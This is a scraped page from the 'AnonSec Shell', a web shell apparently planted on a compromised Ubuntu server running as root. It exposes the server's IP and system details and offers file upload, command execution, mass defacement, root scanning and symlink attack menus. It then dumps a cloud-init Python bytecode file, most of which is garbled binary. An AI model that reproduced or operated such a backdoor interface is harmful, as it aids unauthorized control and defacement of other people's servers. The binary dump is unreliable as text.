AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/distros/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/distros/__pycache__/arch.cpython-310.pyc
o

x[h��@stddlZddlmZmZmZmZddlmZddlm	Z	ddl
mZddlm
Z
mZe�e�ZGdd�dej�ZdS)	�N)�distros�helpers�subp�util)�PackageList)�HostnameConf)�CLOUDINIT_NETPLAN_FILE)�
PER_ALWAYS�PER_INSTANCEc@s�eZdZdZdgZdeddd�iZdd�Zd!d
d�Zde	fd
d�Z
dd�Zdd�Zdd�Z
d!dd�Zdd�Zdd�Zd"dd�Zdd�dd �Zd	S)#�Distroz/etc/locale.gen�	systemctl�netplanz# generated by cloud-init
T)�netplan_path�netplan_header�postcmdscCs0tj�||||�t�|�|_d|_d|d<dS)N�arch�sshd�ssh_svcname)rr�__init__r�Runners�_runner�osfamily)�self�name�cfg�paths�r�8/usr/lib/python3/dist-packages/cloudinit/distros/arch.pyrszDistro.__init__NcCsj|dur|dkrt�d|�t��d|dg}t�|jd�|��tjdgdd�tjd	d
|gdd�dS)Nz/etc/locale.confzFInvalid locale_configfile %s, only supported value is /etc/locale.confz%s UTF-8��
z
locale-genF��capture�	localectlz
set-locale)�LOG�warningr�make_header�
write_file�
locale_gen_fn�joinr)r�locale�out_fn�linesrrr�apply_locale&s��zDistro.apply_locale�pkglistcCs|��|jd|d�dS)Nr)�pkgs)�update_package_sources�package_command)rr-rrr�install_packages9szDistro.install_packagescCs|d}z|�|�}Wnty%t�|jdd�}|rnt�d�YdSYnw|s,td�}|�|�tj	|t
|�ddd�dS)N�create_hostname_fileTz8create_hostname_file is False; hostname file not createdr�wi�)�omode�mode)�_read_hostname_conf�IOErrorr�get_cfg_option_bool�_cfgr#�infor�set_hostnamer&�str)r�hostname�filename�confr2rrr�_write_hostname=s&����
zDistro._write_hostnamecCs|�|j�}|j|fS�N)�_read_hostname�hostname_conf_fn)r�sys_hostnamerrr�_read_system_hostnameSs
zDistro._read_system_hostnamecCstt�|��}|��|SrA)rr�load_text_file�parse)rr>r?rrrr6WszDistro._read_hostname_confcCs8d}z
|�|�}|j}Wn	tyYnw|s|S|SrA)r6r=r7)rr>�defaultr=r?rrrrB\s

�zDistro._read_hostnamecCsJt�d|�zt�ddd|g�WdStjy$t�td|�YdSw)Nz2Non-persistently setting the system hostname to %s�hostnamectlz--transientzset-hostnamez;Failed to non-persistently adjust the system hostname to %s)r#�debugr�ProcessExecutionErrorr�logexc)rr=rrr�_apply_hostnameis�
��zDistro._apply_hostnamecCstj||�|�d�dS)N)�tz�tz_file)r�set_etc_timezone�
_find_tz_file)rrNrrr�set_timezonevszDistro.set_timezonecCs�|durg}gd�}|rt|t�r|�|�n|r#t|t�r#|�|�|dkr)d}|r0|�|�t�d|�}|�|�tj|dd�dS)N)�pacmanz-Syz--quietz--noconfirm�upgradez-uz%s-%sFr )�
isinstancer<�append�list�extendr�expand_package_listr)r�command�argsr.�cmdr-rrrr0ys


zDistro.package_commandF)�forcecCs$|jjd|jdg|rtntd�dS)Nzupdate-sourcesz-y)�freq)r�runr0r	r
)rr]rrrr/�s

�zDistro.update_package_sourcesrA)NN)�__name__�
__module__�__qualname__r'�init_cmdr�renderer_configsrr,rr1r@rEr6rBrMrRr0r/rrrrrs(��
	


r)�logging�	cloudinitrrrr�cloudinit.distrosr�"cloudinit.distros.parsers.hostnamer�cloudinit.net.netplanr�cloudinit.settingsr	r
�	getLoggerr`r#rrrrr�<module>s


Anon7 - 2022
AnonSec Team